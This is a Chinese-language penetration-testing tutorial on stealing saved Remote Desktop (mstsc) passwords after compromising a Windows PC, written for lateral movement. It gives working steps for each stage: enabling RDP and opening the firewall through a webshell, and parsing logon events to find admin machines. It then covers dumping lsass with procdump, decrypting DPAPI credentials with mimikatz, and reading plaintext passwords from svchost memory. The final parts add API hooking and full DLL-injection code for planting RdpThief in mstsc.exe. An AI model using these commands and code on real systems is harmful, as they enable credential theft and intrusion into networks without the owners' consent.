內網滲透 | 橫向移動中MSTSC的密碼獲取
在常見滲透過程中我們拿到了一個pc權限,目標pc的mstsc可能保存了其他機器的密碼。所以獲取它保存的密碼是非常有利用價值的。
0x01 查詢是否開啟3389
1.1
3389開啟的進程名為TermService,所以我們可以查看是否開啟這個進程

tasklist /svc | findstr TermService

1.2

0x02 查看rdp開啟具體端口
很多運維為了安全起見可能會修改默認3389端口為其他端口
2.1
tasklist /svc | findstr TermService netstat -ano | findstr "前面獲取到的pid"

2.2
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber


0x03 如何開啟3389
如果獲取到目標高權限的webshell可以通過命令開啟3389
3.1
允許3389端口放行
netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow
①:通用開3389(優化后):
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
②:For Win2003:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
③:For Win2008:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
④:For Every: cmd開3389 win08 win03 win7 win2012 winxp win08,三條命令即可:
wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
3.2
使用[RegfDenyTSConnections.ps1] https://github.com/QAX-A-Team/EventLogMaster/blob/master/powershell/RegfDenyTSConnections.ps1腳本

0x04 獲取登錄日志
在windows事件里面id為4624和4635分別為成功登錄和失敗登錄

這里看下4624的詳情
已成功登錄帳戶。
主題:
安全 ID: SYSTEM
帳戶名: WIN-4BS4SH00L5N$
帳戶域: REDTEAM
登錄 ID: 0x3e7
登錄類型: 10
新登錄:
安全 ID: WIN-4BS4SH00L5N\test
帳戶名: test
帳戶域: WIN-4BS4SH00L5N
登錄 ID: 0xfd71e
登錄 GUID: {00000000-0000-0000-0000-000000000000}
進程信息:
進程 ID: 0xbcc
進程名: C:\Windows\System32\winlogon.exe
網絡信息:
工作站名: WIN-4BS4SH00L5N
源網絡地址: 192.168.11.12
源端口: 63275
詳細身份驗證信息:
登錄進程: User32
身份驗證數據包: Negotiate
傳遞服務: -
數據包名(僅限 NTLM): -
密鑰長度: 0
4625:
帳戶登錄失敗。
主題:
安全 ID: SYSTEM
帳戶名: WIN-4BS4SH00L5N$
帳戶域: WORKGROUP
登錄 ID: 0x3e7
登錄類型: 2
登錄失敗的帳戶:
安全 ID: NULL SID
帳戶名: Administrator
帳戶域: WIN-4BS4SH00L5N
失敗信息:
失敗原因: 指定帳戶的密碼已過期。
狀態: 0xc0000224
子狀態: 0x0
進程信息:
調用方進程 ID: 0x184
調用方進程名: C:\Windows\System32\winlogon.exe
網絡信息:
工作站名: WIN-4BS4SH00L5N
源網絡地址: 127.0.0.1
源端口: 0
詳細身份驗證信息:
登錄進程: User32
身份驗證數據包: Negotiate
傳遞服務: -
數據包名(僅限 NTLM): -
密鑰長度: 0
在一些溯源工作可能會用到,還有就是當我們擼下一臺服務器我們想定位到辦公區或者it,運維組可以通過該方法

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
namespace SharpEventLog
{
class Program
{
static void Main(string[] args)
{
if (args.Length == 0)
{
System.Console.WriteLine("Usage: EventLog.exe -4624");
System.Console.WriteLine(" EventLog.exe -4625");
}
if (args.Length == 1 && args[0] == "-4624")
{
EventLog_4624();
}
if (args.Length == 1 && args[0] == "-4625")
{
EventLog_4625();
}
}
public static void EventLog_4624()
{
EventLog log = new EventLog("security");
Console.WriteLine("\r========== 4624 ==========\r");
var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4624);
entries.Select(x => new
{
x.MachineName,
x.Site,
x.Source,
x.Message,
x.TimeGenerated
}).ToList();
foreach (EventLogEntry log1 in entries)
{
string text = log1.Message;
string ipaddress = MidStrEx(text, " 源網絡地址: ", " 源端口:");
string username = MidStrEx(text, "新登錄:", "進程信息:");
username = MidStrEx(username, " 帳戶名: ", " 帳戶域: ");
DateTime Time = log1.TimeGenerated;
if (ipaddress.Length >= 7)
{
Console.WriteLine("\r-----------------------------------");
Console.WriteLine("Time: " + Time);
Console.WriteLine("Status: True");
Console.WriteLine("Username: " + username.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
Console.WriteLine("Remote ip: " + ipaddress.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
}
}
}
public static void EventLog_4625()
{
EventLog log = new EventLog("Security");
Console.WriteLine("\r========== 4625 ==========\r");
var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4625);
entries.Select(x => new
{
x.MachineName,
x.Site,
x.Source,
x.Message,
x.TimeGenerated
}).ToList();
foreach (EventLogEntry log1 in entries)
{
string text = log1.Message;
string ipaddress = MidStrEx(text, " 源網絡地址: ", " 源端口:");
string username = MidStrEx(text, "新登錄:", "進程信息:");
username = MidStrEx(username, " 帳戶名: ", " 帳戶域: ");
DateTime Time = log1.TimeGenerated;
if (ipaddress.Length >= 7)
{
Console.WriteLine("\r-----------------------------------");
Console.WriteLine("Time: " + Time);
Console.WriteLine("Status: Flase");
Console.WriteLine("Username: " + username.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
Console.WriteLine("Remote ip: " + ipaddress.Replace("", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
}
}
}
public static string MidStrEx(string sourse, string startstr, string endstr)
{
string result = string.Empty;
int startindex, endindex;
startindex = sourse.IndexOf(startstr);
if (startindex == -1)
return result;
string tmpstr = sourse.Substring(startindex + startstr.Length);
endindex = tmpstr.IndexOf(endstr);
if (endindex == -1)
return result;
result = tmpstr.Remove(endindex);
return result;
}
}
}
0x05 mstsc保存密碼-解密
5.1
可以通過
cmdkey /l dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
來查看是否存在憑證

procdump64.exe -accepteula -ma lsass.exe lsass.dmp
procdump64來獲取內存文件

然后使用mimikatz獲取guidMasterKey:
{12f037b9-df42-4dcf-b9e0-31b57d26c544}
mimikatz.exe "dpapi::cred /in:C:\Users\jack\AppData\Local\Microsoft\Credentials\B57C0630F49BB26F284ECFD8DCD9E0A2" "exit" > 1.txt

然后加載dmp獲取對應的MasterKey:
ba3ebb5374ea4623a1fcc006ac4552bbb17301b539e62c066f7f4e8ba2931789a48699e276f569535f12dc7a1f42bbbccd35e51c60f19ee3560ee155d9a7c078 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::dpapi" "exit" > 2.txt

然后使用MasterKey進行解密
mimikatz.exe "dpapi::cred /in:C:\Users\jack\AppData\Local\Microsoft\Credentials\B57C0630F49BB26F284ECFD8DCD9E0A2 /masterkey:ba3ebb5374ea4623a1fcc006ac4552bbb17301b539e62c066f7f4e8ba2931789a48699e276f569535f12dc7a1f42bbbccd35e51c60f19ee3560ee155d9a7c078" "exit" > 3.txt

5.2
當用戶通過RDP連接進行身份驗證的時候,終端服務是由svchost進程托管,憑證是以純文本形式儲存在svchost進程的內存中。但是在進程里面有很多svchost進程。因此可以通過執行以下命令之一來識別哪個進程,hosts 終端服務連接。
sc queryex termservice

查詢是那個進程加載了rdpcorets.dll
tasklist /M:rdpcorets.dll

可以指定pid寫入dmp文件來轉存內存

然后可以在kali進行離線分析
strings -el svchost*
0x06 hook mstsc
一般獲取mstsc密碼來說就兩種方法,第一種獲取運行后保存在內存中的密碼,第二就是hook mstsc截獲密碼。前文寫過如何獲取保存后的密碼,現在來講解如何hook。
6.1 Detours庫
該庫支持 32 位和 64 位進程,這里拿MessageBox函數來進行講解。在做掛鉤的時候必須要確定原始函數的地址和鉤子函數地址的目標指針。
6.1.1 Detours庫安裝
[源碼下載地址]:https://github.com/Microsoft/Detours。這里以64位進行實驗。
使用vs的命令行在src目錄執行(x64 Native Tools Command Prompt for VS 2019 和 x86 Native Tools Command Prompt for VS 2019,這兩個可以分別用來編譯64位和32位的Detours)
nmake

編譯后會生成一下三個目錄
?bin.X64
?include
?lib.X64
vs建立工程添加
?detours.h
?detours.lib
打開程序包管理器控制臺執行
Install-Package Detours

然后導入.h和.lib文件即可。
#include
#include
#pragma comment (lib,"detours.lib")
static int(WINAPI* TrueMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT) = MessageBox;
int WINAPI OurMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
return TrueMessageBox(NULL, L"Hooked", lpCaption, 0);
}
int main()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)TrueMessageBox, OurMessageBox);
DetourTransactionCommit();
MessageBox(NULL, L"11ccaab", L"11ccaab", 0);
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)TrueMessageBox, OurMessageBox);
DetourTransactionCommit();
}

6.2 API Monitor 監控 mstsc
附加到mstsc進程,然后監聽

可以看到ip存放于CredReadW方法中

6.3 RdpThief
[RdpThief]:https://github.com/0x09AL/RdpThief 編譯好是一個 DLL,當注入mstsc.exe進程時,它將執行 API 掛鉤,提取明文憑據并將它們保存到%temp%/data.bin文件中。
6.4 dll注入
#include
#include
#include
typedef void(*PFN_FOO)();
int main()
{
//獲取快照
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
DWORD pid = 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
//查看第一個進程
BOOL bRet = Process32First(hSnap, &pe32);
while (bRet)
{
bRet = Process32Next(hSnap, &pe32);
if (wcscmp(pe32.szExeFile, L"mstsc.exe") == 0){
pid = pe32.th32ProcessID;
break;
}
}
//獲取進程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE hDestModule = NULL;
//接下來找到該進程中kernel32.dll的基址
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
MODULEENTRY32 mo32 = { 0 };
mo32.dwSize = sizeof(MODULEENTRY32);
bRet = Module32First(hSnap, &mo32);
while (bRet)
{
bRet = Module32Next(hSnap, &mo32);
wprintf(mo32.szExePath);
std::wstring wstr = mo32.szExePath;
if (wstr.find(L"KERNEL32.DLL") != std::string::npos){
hDestModule = mo32.modBaseAddr;
break;
}
}
LPVOID lpDestAddr = NULL;
if (hDestModule != NULL){
//獲取本進程的kernel32地址
HMODULE hkernel32 = GetModuleHandleA("KERNEL32.DLL");
//計算函數的位置
LPVOID lploadlibrary = GetProcAddress(hkernel32, "LoadLibraryA");
//獲取了目標進程中的loadlibrary的地址
lpDestAddr = (char*)lploadlibrary - (char*)hkernel32 + (char*)hDestModule;
}
//1.在目標進程開辟空間
LPVOID lpAddr = VirtualAllocEx(
hProcess, //在目標進程中開辟空間
NULL, //表示任意地址,隨機分配
1, //內存通常是以分頁為單位來給空間 1頁=4k 4096字節
MEM_COMMIT, //告訴操作系統給分配一塊內存
PAGE_EXECUTE_READWRITE
);
if (lpAddr == NULL){
printf("Alloc error!");
return 0;
}
DWORD dwWritesBytes = 0;
char* pDestDllPath = R"(C:\TestDLL.dll)";
//2.在目標進程中寫入目標dll的路徑
bRet = WriteProcessMemory(
hProcess, //目標進程
lpAddr, //目標地址 目標進程中
pDestDllPath, //源數據 當前進程中
strlen(pDestDllPath)+1, //寫多大
&dwWritesBytes //成功寫入的字節數
);
if (!bRet){
VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
return 0;
}
//3.向目標程序調用一個線程 創建遠程線程 執行寫入代碼
HANDLE hRemoteThread = CreateRemoteThread(hProcess, //目標進程
NULL,
0,
(LPTHREAD_START_ROUTINE)lpDestAddr, //目標進程的回調函數
lpAddr, //回調參數
0,
NULL
);
return 0;
}
運行加載dll,使用Process Explorer可以看到成功加載了dll

無論是否登錄成功密碼都會保存在
C:\Users\your username\AppData\Local\Temp\data.bin
